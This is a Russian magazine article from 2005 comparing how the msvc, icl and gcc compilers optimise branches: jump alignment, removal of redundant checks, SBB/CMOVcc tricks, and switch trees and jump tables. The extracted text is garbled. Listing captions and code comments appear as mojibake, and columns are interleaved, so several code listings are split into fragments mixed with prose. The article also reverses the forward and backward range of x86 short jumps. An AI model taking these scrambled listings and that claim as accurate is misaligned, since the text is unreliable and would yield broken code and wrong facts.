КРИС КАСПЕРСКИ Оптимизация ветвлений/branch Ветвления (по-английски branch, они же условные/безусловные переходы) относятся к фундаментальным основам любого языка, без которых не обходится ни одна программа. Даже «hello, world!»! Ведь выход из функции main – это тоже ветвление, пусть и неявное (однако ж процессор синтаксисом языка не проведешь!). А сколько ветвлений содержит сама функция printf? А библиотека времени исполнения? Суперскалярные микропроцессоры, построенные по конвейерной архитектуре (а все современные микропроцессоры именно так и устроены), быстрее всего выполняют линейный код и ненавидят ветвления. В лучшем случае они дезориентируют процессор, слегка приостанавливая выполнение программы, в худшем же – полностью очищают конвейер. А на последних Pentium он очень длинный (и с каждой последующей моделью становится все длиннее и длиннее). Быстро его не заполнишь… на это может уйти не одна сотня тактов, что вызовет обвальное падение производительности. Оптимизация переходов дает значительный выигрыш, особенно если они расположены внутри циклов (кстати говоря, циклы – это те же самые переходы), поэтому качество компилятора не в последнюю очередь определяется его умением полностью или частично избавляться от ветвлений.

Выравнивание переходов Процессоры, основанные на ядрах Intel P6 и AMD K6, не требуют выравнивания переходов, за исключением того случая, когда целевая инструкция или сама команда перехода расщепляются границей кэш-линейки пополам, в результате чего наблюдается значительное падение производительности. Наибольший ущерб причиняют переходы, находящиеся в циклах с компактным телом и большим уровнем вложения.

86

Чтобы падения производительности не происходило, некоторые компиляторы прибегают к выравниванию, располагая инструкции перехода по кратным адресам и заполняют образующиеся «дыры» незначащими инструкциями, такими как XCHG EAX, EAX (обмен содержимого регистров EAX местами) или MOV EAX, EAX (пересылка содержимого EAX в EAX). Это увеличивает размер кода и несколько снижает его производительность, поэтому бездумное (оно же «агрессивное») выравнивание только вредит. Легко показать, что машинная команда требует выравнивания в тех, и только тех случаях, когда условие: ((addr % cache_len + sizeof(ops)) > cache_len)

становится истинным. Здесь: addr – линейный адрес инструкции, cache_len размер кэш-линейки (в зависимости от типа процессора равный 32, 64 или 128 байтам), ops – сама машинная инструкция. Количество выравнивающих байт рассчитывается по формуле: (cache_len - (addr % cache_len))

Именно так поступают все программисты, владеющие Ассемблером, но только не компиляторы! MSVC и icl вообще не выравнивают переходов, а gcc выравнивает целевую инструкцию на фиксированную величину, кратную степени двойки (т.е. 2, 4, 8…), что является крайне неэффективной стратегией, однако даже плохая стратегия все же лучше, чем совсем никакой. Кстати говоря, именно по этой причине, компиляторы msvc и icl генерируют неустойчивый код, точнее код с «плавающей» производительностью, быстродействие которого главным образом зависит от того, расщепляются ли глубоко вложенные переходы или нет. А


программирование это в свою очередь зависит от множества трудно прогнозируемых обстоятельств, включающих фазу луны и количество осадков. Учитывая, что средняя длина x86-инструкций составляет 3.5 байта, целесообразнее всего выравнивать переходы по границе четырех байт (ключ -falign-jumps=4 компилятора gcc). Ключ -fno-align-jumps (или эквивалентный ему -falign-jumps=1) отключает выравнивание. Ключ falign-jumps=0 задействует выравнивание по умолчанию, автоматически выбираемое компилятором в зависимости от типа процессора. Ëèñòèíã 1. Ôîðìóëà äëÿ ðàñ÷åòà îïòèìàëüíîé êðàòíîñòè âûðàâíèâàíèÿ äëÿ ïðîöåññîðîâ Intel Pentium II è âûøå if ((addr % cache_len + sizeof(ops)) > cache_len) align = cache_len – (addr % cache_len);

Частичное вычисление условий «Летят два крокодила – один квадратный, другой тоже на север», – вот хороший пример техники быстрого булевого вычисления (оно же «частичное вычисление условий», «Partial evaluation of test conditions» или «short-circuiting»). Собственно, ничего «быстрого» в нем нет. Если первое из нескольких условий, связанных оператором AND, ложно (где вы видели квадратных крокодилов?), остальные уже не вычисляются. Соответственно если первое из нескольких условий, связанных оператором OR, истинно, вычислять остальные нет нужды. Это значит, что в выражениях вида (1 || f(x)) или (0 && f(x)) функция f(х) просто не вызывается. И это отнюдь не свойство оптимизатора (как утверждают некоторые рекламные буклеты), а требование языка, без которого ветвления вида: if (x && (y/x)) были бы невозможны, поскольку вычислять значение выражения (y/x) можно тогда и только тогда, когда x=!0, т.е. выражение (x) истинно. В противном случае процессор выбросит исключение и выполнение программы будет остановлено. Поэтому такая стратегия поведения сохраняется даже при отключенном оптимизаторе. Все три рассматриваемых компилятора поддерживают быстрое булевое вычисление. Ëèñòèíã 2. Åñëè âûðàæåíèå (a == b) èñòèííî, âûðàæåíèå (c == d) óæå íå ïðîâåðÿåòñÿ if ((a == b) || (c == d))…

Удаление избыточных проверок Небрежное кодирование часто приводит к появлению избыточных или даже заведомо ложных проверок, полностью или частично дублирующих друг друга, например: «if (a > 9) … if (a > 6)…». Очевидно, что вторая проверка лишняя и icl благополучно удаляет ее. Остальные рассматриваемые компиляторы такой способностью не обладают, послушно генерируя следующий код.

Удаление проверок нулевых указателей Программисты до сих пор не могут определиться, кто должен осуществлять проверку аргументов – вызывающая или вызываемая функция. Многие стандарты кодирования предписывают выполнять такую проверку обеим: Ëèñòèíã 5. Íåîïòèìèçèðîâàííûé âàðèàíò f1(int { // // // if }

*p) ïðîâåðêà ¹2 (ìîæåò áûòü óäàëåíà êîìïèëÿòîðîì ò.ê. åé ïðåäøåñòâîâàëà çàïèñü ïî óêàçàòåëþ) (p) return *p+1; else return –1;

f2(int *p) { // ïðîâåðêà ¹1/çàïèñü ïî óêàçàòåëþ if (p) *p = 0x69; else return -1; return f1(p); }

Лишние проверки увеличивают размер кода и замедляют его выполнение (особенно если находятся глубоко в цикле), поэтому компилятор gcc поддерживает специальный ключ, fdelete-null-pointer-checks, «вычищающий» их из программы. Вся соль в том, что x86-процессоры (как и большинство других) на аппаратном уровне отслеживают обращения к нулевым указателям, автоматически выбрасывая исключение, если такое обращение действительно произошло. Поэтому, если проверке на «легитимность» указателя предшествует операция чтения/записи по нему, эту проверку можно не выполнять. Рассмотрим, листинг 5. Сначала проходит проверка указателя (проверка №1), потом в него записывается число 0x69, и указатель передается функции f1, выполняющей повторную проверку (проверка №2). Компилятор видит, что вторая проверка осуществляется уже после обращения к указателю (естественно, чтобы он мог это осознать, функция f1 должна быть встроенной или задействован режим глобальной оптимизации) и рассуждает так: если операция присвоения *p = 0x69 проходит успешно и процессор не выбрасывает исключения, то указатель p гарантированно не равен нулю, и в проверке нет никакой нужды. Если же указатель равен нулю, тогда при обращении к нему процессор выбросит исключение и до проверки дело все равно не дойдет. Так зачем же тогда ее выполнять? Компиляторы msvc и icl такой техники оптимизации не поддерживают. Правда, в режиме глобальной оптимизации, icl может удалять несколько подряд идущих проверок (при встраивании функций это происходит достаточно часто), поскольку это является частным случаем техники удаления избыточных проверок, однако ситуацию «проверка/модификация указателя/обращение к указателю/проверка» icl уже не осилит. А вот gcc справляется с ней без труда!

Ëèñòèíã 3. Íåîïòèìèçèðîâàííûé âàðèàíò

Совмещение проверок

if (n > 10) a++; else return 0; if (n > 5) a++; else return 0; // èçáûòî÷íàÿ ïðîâåðêà if (n < 2) a++; else return 0; // çàâåäîìî ëîæíà ïðîâåðêà

Совмещение проверок очень похоже на повторное использование подвыражений: если одна и та же проверка присутствует в двух или более местах и отсутствуют паразитные зависимости по данным, все проверки можно объединить в одну:

Ëèñòèíã 4. Îïòèìèçèðîâàííûé âàðèàíò if (n > 10) a+=2; else return 0;

№3, март 2005

87


программирование Ëèñòèíã 6. Íåîïòèìèçèðîâàííûé âàðèàíò, 2 ïðîâåðêè if (CPU_TYPE == AMD) x = AMD_f1(y); else x = INTEL_f1(y); … if (CPU_TYPE == AMD) a = AMD_f2(b); else a = INTEL_f2(b);

// ïðîâåðêà

// åùå îäíà ïðîâåðêà

if (CPU_TYPE == AMD) { x = AMD_f1(y); a = AMD_f2(b); } else { x = INTEL_f1(y); a = INTEL_f2(b); }

// òîëüêî îäíà ïðîâåðêà

Сокращение длины маршрута Если один условный или безусловный переход указывает на другой безусловный переход, то все три рассматриваемых компилятора автоматически перенаправляют первый целевой адрес на последний, что и демонстрирует следующий пример: Ëèñòèíã 8. Íåîïòèìèçèðîâàííûé âàðèàíò ; // ïåðåõîä ê ìåòêå lab_1 // íà áåçóñëîâíûé ïåðåõîä ê ìåòêå lab_2

goto lab_2

; // ïåðåõîä ê ìåòêå lab_2

Ëèñòèíã 9. Îïòèìèçèðîâàííûé âàðèàíò goto lab_2 …. lab_1: …. lab_2:

; // ñðàçó ïåðåõîäèì ê ìåòêå lab_2, // ìèíóÿ lab_1

goto lab_2

; // ïåðåõîä ê ìåòêå lab_2

Ëèñòèíã 10. Íåîïòèìèçèðîâàííûé âàðèàíò while(a) { while(b)

}

}

// lab_1:

if (!a) goto lab_4

// lab_2: if (!b) goto lab_3 /* ïåðåõîä íà áåçóñëîâíûé ïåðåõîä */

/* êîä öèêëà */ // goto lab_2 // lab_3: goto lab_1 // lab_4:

После оптимизации этот код будет выглядеть так: Ëèñòèíã 11. Îïòèìèçèðîâàííûé âàðèàíò while(a) { while(b) { }

88

jmp lab_1 … lab_1: jnz lab_2

; // ïåðåõîä íà óñëîâíûé ïåðåõîä

Ëèñòèíã 13. Îïòèìèçèðîâàííûé âàðèàíò ; // îïòèìèçèðîâàíî

Заметим, что в силу ограниченной «дальнобойности» (см. врезку «Трансляция кротких условных переходов») условных переходов, в некоторых случаях длину цепочки приходится не только уменьшать, но и увеличивать, прибегая к следующему трюку: Ëèñòèíã 14. Òðàíñôîðìàöèÿ óñëîâíûõ ïåðåõîäîâ, äî êîòîðûõ ïðîöåññîð íå ìîæåò «äîòÿíóòüñÿ» jz far_far_away

jnz next_lab ———òðàíñôîðìàöèÿ—————> jmp far_far_away next_lab:

Условный или безусловный переход, указывающий на выход из функции, заменяется всеми тремя компиляторами на непосредственный выход из функции, при условии, что код-эпилог достаточно мал и накладные расходы на его дублирование невелики: Ëèñòèíã 15. Íåîïòèìèçèðîâàííûé âàðèàíò f(int a, int b) { while(a--) { if (a == b) break; // óñëîâíûé ïåðåõîä íà return a; } return a; } Ëèñòèíã 16. Îïòèìèçèðîâàííûé âàðèàíò

Разумеется, оператор goto не обязательно должен присутствовать в программном коде в явном виде. Он вполне может быть «растворен» в цикле:

{

goto lab_1

Аналогичным способом осуществляется и оптимизация условных/безусловных переходов, указывающих на другой условный переход. Вот, посмотрите:

jnz lab_2 … lab_1: jnz lab_2

Из всех трех компиляторов совмещать проверки умеет только icl, да и то не всегда.

…. lab_1: …. lab_2:

// lab_3: // lab_4:

Ëèñòèíã 12. Íåîïòèìèçèðîâàííûé âàðèàíò

Ëèñòèíã 7. Îïòèìèçèðîâàííûé âàðèàíò, òîëüêî îäíà ïðîâåðêà

goto lab_1

}

// lab_1:

if (!a) goto lab_4

// lab_2: if (!b) goto lab_1 /* îïòèìèçèðîâàíî */

/* êîä öèêëà */ //

goto lab_2

f(int a, int b) { while(a--) { if (a == b) return a; //íåïîñðåäñòâåííûé return a; } return a; }

Уменьшение количества ветвлений Все три компилятора просматривают код в поисках условных переходов, перепрыгивающих через безусловные (conditional branches over unconditional branches) и оптимизируют их: инвертируют условный переход, перенацеливая его на адрес безусловного перехода, а сам безусловный переход удаляют, уменьшая тем самым количество ветвлений на единицу: Ëèñòèíã 17. Íåîïòèìèçèðîâàííûé âàðèàíò if (x) a=a*2; else goto lab_1; // äâîéíîå âåòâëåíèå if – else


программирование b=a+1 lab_1:

ветствуют различным отношениям чисел и за каждый из них отвечает «свой» условный переход. Например:

c=a*10

Ëèñòèíã 18. Îïòèìèçèðîâàííûé âàðèàíò if (!x) goto lab_1; a=a*2; b=a+1; lab_1: c=a*10;

// îäèíàðíîå âåòâëåíèå

cmp eax,ebx

Оператор goto не обязательно должен присутствовать в тексте явно, он вполне может быть частью do/while/break/ continue. Вот, например: Ëèñòèíã 19. Íåîïòèìèçèðîâàííûé âàðèàíò, 2 âåòâëåíèÿ while(1) { if (a==0x66) break; a=a+rand(); };

Ëèñòèíã 21. Ñðàâíåíèå äâóõ ÷èñåë íà ÿçûêå àññåìáëåðà

// óñëîâíûé ïåðåõîä // ñêðûòûé áåçóñëîâíûé ïåðåõîä // íà íà÷àëî öèêëà

Ëèñòèíã 20. Îïòèìèçèðîâàííûé âàðèàíò, 1 âåòâëåíèå (âåòâëåíèå ïåðåä íà÷àëîì öèêëà íå ñ÷èòàåòñÿ, ò.ê. èñïîëíÿåòñÿ âñåãî ëèøü ðàç) if (a!=0x66) // «ñäèðàíèå» îäíîé èòåðàöèè öèêëà do{ a=a+rand(); }while(a!=0x66); // èíâåðòèðóåì ïåðåõîä, òîëüêî îäíî // âåòâëåíèå

jl lab_1 jg lab_2 lab_3:

// // // // //

ñðàâíèâàåì eax ñ ebx, çàïîìèíàÿ ðåçóëüòàò âî ôëàãàõ ïåðåõîä, åñëè eax < ebx ïåðåõîä, åñëè eax > ebx ðàç ìû çäåñü, eax == ebx

На языках высокого уровня все не так, и операцию сравнения приходится повторять несколько раз подряд, что не способствует ни компактности, ни производительности. Но, может быть, ситуацию исправит оптимизатор? Рассмотрим следующий код: Ëèñòèíã 22. Ñðàâíåíèå äâóõ ÷èñåë íà ÿçûêå âûñîêîãî óðîâíÿ if (a < 0x69) printf("b"); if (a > 0x69) printf("g"); if (a == 0x69) printf("e");

Дизассемблирование показывает, что компилятору msvc потребовалось целых два сравнения, а вот icl было достаточно и одного. Компилятор gcc не заметил подвоха и честно выполнил все три сравнения.

Избавление от ветвлений

Процессоры семейства x86 (как и многие другие) обладают одной очень интересной концепцией, которой нет ни в одном языке высокого уровня. Операции вида if (a>b) выполняются в два этапа. Сначала из числа a вычитается число b и состояние вычислительного устройства сохраняется в регистре флагов. Различные комбинации флагов соот-

Теория утверждает, что любой вычислительный алгоритм можно развернуть в линейную конструкцию, заменив все ветвления математическими операциями (как правило, запутанными и громоздкими). Рассмотрим функцию поиска максимума среди двух целых чисел: «((a>b)?a:b)», для наглядности записанную так: «if (a<b) a=b;». Как избавиться от ветвления? В этом нам поможет машинная команда SBB, реализующая вычитание с заемом.

Трансляция коротких условных переходов

переходом, действующим в пределах одного сегмента (см. рис. 2).

Сокращение количества сравнений

Одна из неприятных особенностей процессоров x86 – ограниченная «дальнобойность» команд условного перехода. Разработчики микропроцессора в стремлении добиться высокой компактности кода отвели на целевой адрес всего один байт, ограничив тем самым длину прыжка интервалом в 255 байт. Это так называемый короткий (short) переход, адресуемый относительным знаковым смещением, отсчитываемым от начала следующей за инструкцией перехода командой (см. рис. 1). Такая схема адресации ограничивает длину прыжка «вперед» (т.е. «вниз») всего 128 байтами, а «назад» (т.е. «вверх») и того меньше – 127! (Прыжок вперед короче потому, что ему требуется «пересечь» и саму команду перехода). Этих ограничений лишен ближний (near) безусловный переход, адресуемый двумя байтами и действующий в пределах всего сегмента. Короткие переходы усложняют трансляцию ветвлений – ведь не всякий целевой адрес находится в пределах 128 байт! Существует множество путей обойти это ограничение. Наиболее популярен следующий прием: если транслятор видит, что целевой адрес выходит за пределы досягаемости условного перехода, он инвертирует условие срабатывания и совершает короткий (short) переход на метку continue, а на do_it передает управление ближним (near)

№3, март 2005

Ðèñóíîê 1. Âíóòðåííåå ïðåäñòàâëåíèå êîðîòêîãî (short) ïåðåõîäà

Ðèñóíîê 2. Òðàíñëÿöèÿ êîðîòêèõ ïåðåõîäîâ

Начиная с Intel 80386 в лексиконе процессора появились пятибайтные команды условных переходов, «бьющие» в пределах всего четырехгигабайтного адресного пространства, однако в силу своей относительно невысокой производительности, они так и остались невостребованными.

89


программирование На Ассемблере это могло бы выглядеть, например, так:

водству на компилятор) и функции мультимедийной библиотеки SIMD. В частности, цикл вида:

Ëèñòèíã 23. Ïîèñê ìàêñèìóìà ñðåäè äâóõ öåëûõ ÷èñåë áåç èñïîëüçîâàíèÿ âåòâëåíèé

Ëèñòèíã 24. Íåîïòèìèçèðîâàííûé âàðèàíò ñ âåòâëåíèÿìè

SUB b, a ; îòíÿòü îò ñîäåðæèìîãî 'b' çíà÷åíèå 'a', çàïèñàâ ðåçóëüòàò ; â 'b', åñëè a > b, òî ïðîöåññîð óñòàíîâèò ôëàã çàåìà ; â åäèíèöó

short a[4], b[4], c[4]; for (i=0; i<4; i++) c[i] = a[i] > b[i] ? a[i] : b[i];

SBB c, c ; îòíÿòü îò ñîäåðæèìîãî 'c' çíà÷åíèå 'c' ñ ó÷åòîì ôëàãà ; çàåìà, çàïèñàâ ðåçóëüòàò îáðàòíî â 'c' ('c' – âðåìåííàÿ ; ïåðåìåííàÿ). Åñëè a <= b, òî ôëàã çàåìà ñáðîøåí, è 'c' ; áóäåò ðàâíî 0. Åñëè a > b, òî ôëàã çàåìà óñòàíîâëåí è 'c' ; áóäåò ðàâíî -1 AND c, b ; âûïîëíèòü áèòîâóþ îïåðàöèþ (c & b), çàïèñàâ ðåçóëüòàò â 'c' ; Åñëè a <= b, òî ôëàã çàåìà ðàâåí íóëþ, 'c' ðàâíî 0, ; çíà÷èò, ñ =(c & b) == 0, â ïðîòèâíîì ñëó÷àå: c == b - a ; ADD a, c ; âûïîëíèòü ñëîæåíèå ñîäåðæèìîãî 'a' ñî çíà÷åíèåì 'c', çàïèñàâ ; ðåçóëüòàò â 'a'. ; åñëè a <= b, òî c = 0 è a = a ; åñëè a > b, òî c = b - a, è a = a + (b-a) == b

Компилятор msvc поддерживает замену ветвлений математическими операциями, однако использует несколько другую технику, отдавая предпочтение инструкции SETcc xxx, устанавливающую xxx в единицу, если условие сс истинно. Как показывает практика, msvc оптимизирует только ветвления константного типа, т.е. «if (n > m) a = 66; else a = 99;» еще оптимизируется, а «if (n > m) a = x; else a = y;» уже нет. Компилятор gcc, использующий инструкцию условного присвоения CMOVcc, оптимизирует все конструкции типа min, max, set flags, abs и т. д., что существенно увеличивает производительность, однако требует как минимум Pentium Pro (инструкция SETcc работает и на Intel 80386). За это отвечают ключи -fif-conversion и -fif-conversion2, которые на платформе Intel эквивалентны друг другу. (Вообще говоря, gcc поддерживает множество ключей, отвечающих за ликвидацию ветвлений, однако на платформе Intel они лишены смысла, поскольку в лексиконе x86-процессоров просто нет соответствующих команд!). Компилятор icl – единственный из всех трех, кто не заменяет ветвления математическими операциями (что в свете активной агитации за команды SBB/CMOVcc, развернутой компанией Intel, выглядит довольно странно). Во всяком случае компилятор не делает этого явно и в качестве компенсации предлагает использовать интринсики (от английского «intrinsic», буквально «внутренний»; нестандартные операторы языка, непосредственно транслирующиеся в машинный код. За более подробным описанием обращайтесь к руко-

Советы

может быть переписан так: Ëèñòèíã 25. Óñòðàíåíèå âåòâëåíèé ïóòåì èñïîëüçîâàíèÿ ôóíêöèè select_gt áèáëèîòåêè êëàññîâ Intel SIMD Is16vec4 a, b, c // ôóíêöèÿ âåêòîðíîãî ïîèñêà ìàêñèìóìà áåç âåòâëåíèé c = select_gt(a, b, a, b);

Естественно, такой код непереносим и на других компиляторах он работать не будет, поэтому, прежде чем подсаживаться на Intel, следует все взвесить и тщательно обдумать. Тем более что альтернативные мультимедийные библиотеки имеются и на других компиляторах.

Оптимизация switch Оператор множественного выбора switch очень популярен среди программистов (особенно разработчиков Windowsприложений). В некоторых (хотя и редких) случаях, операторы множественного выбора содержат сотни (а то и тысячи) наборов значений, и если решать задачу сравнения «в лоб», время выполнения оператора switch окажется слишком большим, что не лучшим образом скажется на общей производительности программы, поэтому пренебрегать его оптимизацией ни в коем случае нельзя.

Балансировка логического дерева Если отвлечься от устоявшейся идиомы «оператор switch дает специальный способ выбора одного из многих вариантов, который заключается в проверке совпадения значения данного выражения с одной из заданных констант в соответствующем ветвлении», легко показать, что switch представляет собой завуалированный оператор поиска соответствующего case-значения. Последовательный перебор всех вариантов, соответствующий тривиальному линейному поиску – занятие порочное и крайне неэффективное. Допустим, наш оператор switch выглядит так: Ëèñòèíã 26. Íåîïòèìèçèðîâàííûé âàðèàíò îïåðàòîðà ìíîæåñòâåííîãî âûáîðà switch (a) { case 98 : /* êîä îáðàáîò÷èêà */ break;

! Избегайте использования глобальных и статических пе-

! Заменяйте int a; if ((a >= 0) && (a < MAX)) на if ((unsigned

ременных – локальные переменные компилятору намного проще оптимизировать. ! Не используйте переменные там, где можно использовать константы. ! Везде, где это только возможно, используйте беззнаковые переменные – они намного легче оптимизируются, особенно в тех случаях, когда компилятор пытается избавиться от ветвлений.

int)a < MAX), – последняя конструкция на одно ветвление короче. ! Ветвление с проверкой на нуль оптимизируется намного проще, чем на любое другое значение. ! Конструкции типа x = (flag?sin:cos)(y) не избавляют от ветвлений, но сокращают объем кодирования. ! Не пренебрегайте оператором goto – зачастую он позволяет проектировать более компактный и элегантный код.

90


программирование

}

case case case case case case case case case case

4 : 3 : 9 : 22 : 0 : 11 : 666: 96 : 777: 7 :

/* /* /* /* /* /* /* /* /* /*

êîä êîä êîä êîä êîä êîä êîä êîä êîä êîä

îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà

*/ */ */ */ */ */ */ */ */ */

break; break; break; break; break; break; break; break; break; break;

Тогда соответствующее ему неоптимизированное логическое дерево будет достигать в высоту одиннадцати гнезд (см. рис. 3 слева). Причем на левой ветке корневого гнезда окажется аж десять других гнезд, а на правой – вообще ни одного. Чтобы исправить «перекос», разрежем одну ветку на две и прицепим образовавшиеся половинки к новому гнезду, содержащему условие, определяющее, в какой из веток следует искать сравниваемую переменную. Например, левая ветка может содержать гнезда с четными значениями, а правая – с нечетными. Но это плохой критерий: четных и нечетных значений редко бывает поровну и вновь образуется перекос. Гораздо надежнее поступить так: берем наименьшее из всех значений и бросаем его в кучу А, затем берем наибольшее из всех значений и бросаем его в кучу B. Так повторяем до тех пор, пока не рассортируем все имеющиеся значения (см. рис. 3 справа). Поскольку, оператор switch требует уникальности каждого значения, т. е. каждое число может встречаться лишь однажды, легко показать, что: ! в обеих кучах будет содержаться равное количество чисел (в худшем случае – в одной куче окажется на число больше); ! все числа кучи A меньше наименьшего из чисел кучи B. Следовательно, достаточно выполнить только одно сравнение, чтобы определить: в какой из двух куч следует искать сравниваемое значение.

Ðèñóíîê 3. Íåñáàëàíñèðîâàííîå (ñëåâà) è ñáàëàíñèðîâàííîå (ñïðàâà) switch/case-äåðåâî

Высота вновь образованного дерева будет равна 1+(N+1)/2, где N – количество гнезд старого дерева. Действительно, мы же делим ветвь дерева надвое и добавляем новое гнездо – отсюда и берется N/2 и +1, а (N+1) необходимо для округления результата деления в большую сторону. То есть если высота неоптимизированного дерева достигала 100 гнезд, то теперь она уменьшилась до 51. Говорите, 51 все равно много? Но кто нам мешает разбить каждую из двух ветвей еще на две? Это уменьшит высоту дерева до 27 гнезд! Аналогично, последующее уплотнение даст 16 → 12 → 11 → 9 → 8… и все! Более плотная упаковка дерева уже невозможна. Но, согласитесь, восемь гнезд –

№3, март 2005

это не сто! Оптимизированный вариант оператора switch в худшем случае потребует лишь пяти сравнений, но и это еще не предел! Учитывая, что x86 процессоры все три операции сравнения <, =, > совмещают в одной машинной команде, двоичное логическое дерево можно преобразовать в троичное, тогда новых гнезд для его балансировки добавлять не нужно. Простейший алгоритм, называемый методом отрезков, работает так: сортируем все числа по возрастанию и делим получившийся отрезок пополам. Число, находящееся посередине (в нашем случае это 11), объявляем вершиной дерева, а числа, расположенные слева от него, – его левыми ветвями и подветвями (в нашем случае это 0, 3, 4 и 7). Остальные числа (22, 96, 98, 666, 777) идут направо. Повторяем эту операцию рекурсивно до тех пор, пока длина подветвей не сократится до единицы. В конечном счете, вырастет следующее дерево :

Ðèñóíîê 4. Òðîè÷íîå äåðåâî, ÷àñòè÷íî ñáàëàíñèðîâàííîå ìåòîäîì îòðåçêîâ

Очевидно, что это не самое лучшее дерево из всех. Максимальное количество сравнений (т.е. количество сравнений в худшем случае) сократилось с пяти до четырех, а количество ветвлений возросло вдвое, в результате чего, время выполнения оператора switch только возросло. К тому же структура построения дерева явно не оптимальна. Гнезда (a<=3), (a>=7), (a<=96), (a>=666) имеют свободные ветви, что увеличивает высоту дерева на единицу. Но, может быть, компилятор сумеет это оптимизировать? Дизассемблирование показывает, что компилятор msvc генерирует троичное дерево, сбалансированное по улучшенному алгоритму отрезков, содержащее всего лишь 7 операций сравнения, 9 ветвлений и таблицу переходов на 10 элементов (см. «Создание таблицы переходов»). В худшем случае выполнение оператора switch требует 3 сравнений и 3 ветвлений. Троичное дерево, построенное компилятором gcc, сбалансировано по классическому алгоритму отрезков и состоит из 11 сравнений и 24 ветвлений. В худшем случае выполнение оператора switch растягивается на 4 сравнения и 6 ветвлений. Компилятор icl, работающий по принципу простого линейного поиска, строит двоичное дерево из 11 сравнений и 11 ветвлений. В худшем случае все узлы дерева «пережевываются» целиком. Вот так «оптимизация»!

Создание таблицы переходов Если значения ветвей выбора представляют собой арифметическую прогрессию (см. листинг 27), компилятор может сформировать таблицу переходов – массив, проиндексированный case-значениями и содержащий указатели на соответствующие им case-обработчики. В этом случае

91


программирование сколько бы оператор switch ни содержал ветвей – одну или миллион, – он выполняется за одну итерацию. Красота! Ëèñòèíã 27. Íåîïòèìèçèðîâàííûé switch, îðãàíèçîâàííûé ïî ïðèíöèïó óïîðÿäî÷åííîé àðèôìåòè÷åñêîé ïðîãðåññèè switch (a) { case case case case case case case case case case case }

1 2 3 4 5 6 7 8 9 10 11

: : : : : : : : : : :

/* /* /* /* /* /* /* /* /* /* /*

êîä êîä êîä êîä êîä êîä êîä êîä êîä êîä êîä

îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà

*/ */ */ */ */ */ */ */ */ */ */

break; break; break; break; break; break; break; break; break; break; break;

единственный из всех трех, способный комбинировать таблицы переходов с логическими деревьями. Разряженные участки с далеко отстоящими друг от друга значениями монтируются в виде дерева, а густо населенные области упаковываются в таблицы переходов. Вернемся к листингу 26. Значения 9, 11, 22, 74, 666, 777 упорядочиваются в виде дерева, а 0, 3, 4, 7, 9 ложатся в таблицу переходов, благодаря чему достигается предельно высокая скорость выполнения, далеко опережающая конкурентов.

Свободная таблица

Ëèñòèíã 28. Äèçàññåìáëåðíûé ëèñòèíã îïòèìèçèðîâàííîãî âàðèàíòà îïåðàòîðà switch cmp eax, 0Bh ; ñðàâíèâàåì a ñ 11

; switch 12 cases

ja short loc_80483F5 ; default ; åñëè a > 11 âûõîäèì èç îïåðàòîðà switch ; jmp ds:off_804857C[eax*4] ; switch jump ; ïåðåäàåì óïðàâëåíèå ñîîòâåòñòâóþùåìó ; case-îáðàáîò÷èêó, òàêèì îáðàçîì, ìû èìååì âñåãî ëèøü ; îäíî ñðàâíåíèå è äâà âåòâëåíèÿ ; // òàáëèöà ñìåùåíèé case-îáðàáîò÷èêîâ ↑r off_804857C dd offset loc_80483F5 ; DATA XREF: main+11↑ dd offset loc_80483E8 ; jump table for switch statement dd offset loc_80483F9 dd offset loc_8048402 dd offset loc_804840B dd offset loc_8048414 dd offset loc_804841D dd offset loc_8048426 dd offset loc_804842F dd offset loc_8048438 dd offset loc_8048441 dd offset loc_804844F

Создавать таблицы переходов умеют все три рассматриваемых компилятора, даже если элементы прогрессии некоторым образом перемешаны: Ëèñòèíã 29. Íåîïòèìèçèðîâàííûé switch, îðãàíèçîâàííûé ïî ïðèíöèïó óïîðÿäî÷åííîé àðèôìåòè÷åñêîé ïðîãðåññèè switch (a) { case case case case case case case case case case case }

11 2 13 4 15 6 17 8 19 10 21

: : : : : : : : : : :

/* /* /* /* /* /* /* /* /* /* /*

êîä êîä êîä êîä êîä êîä êîä êîä êîä êîä êîä

îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà îáðàáîò÷èêà

*/ */ */ */ */ */ */ */ */ */ */

break; break; break; break; break; break; break; break; break; break; break;

Если один или несколько элементов прогрессии отсутствуют, соответствующие им значения дополняются фиктивными переходниками к default-обработчику. Таблица переходов от этого, конечно, «распухает», однако на скорости выполнения оператора switch это практически никак не отражается. Однако при достижении некоторой пороговой величины «разрежения» таблица переходов внезапно трансформируется в двоичное/троичное дерево. Компилятор msvc –

92

Заключение Справедливости ради оливковая ветвь пальмы первенства на этот раз не достанется никому. Все три компилятора показывают одинаково впечатляющий результат, но прокалываются в мелочах. Позиция icl выглядит достаточно сильной, однако на безусловное господство никак не тянет. Как минимум ему предстоит научиться выравнивать переходы, заменять ветвления математическими операциями и переваривать оператор switch. Компилятор gcc, с учетом его бесплатности, по-прежнему остается наилучшим выбором. Он реализует многие новомодные способы оптимизации ветвлений (в частности, использует инструкцию CMOVcc), однако по ряду позиций проигрывает насквозь коммерческому msvc, лишний раз подтверждая основной лозунг Microsoft: «Bill always win». При переходе от ветвлений к циклам (а циклы, как известно, «съедают» до 90% производительности программы), этот разрыв лишь усиливается. Но о циклах в другой раз. Это слишком объемная, хотя и увлекательная тема. Современные компиляторы не только выбрасывают из цикла все ненужное (например, заменяют цикл с предусловием на цикл с постусловием, который на одно ветвление короче), но и трансформируют сам алгоритм, подгоняя порядок обработки данных под особенности архитектуры конкретного микропроцессора.


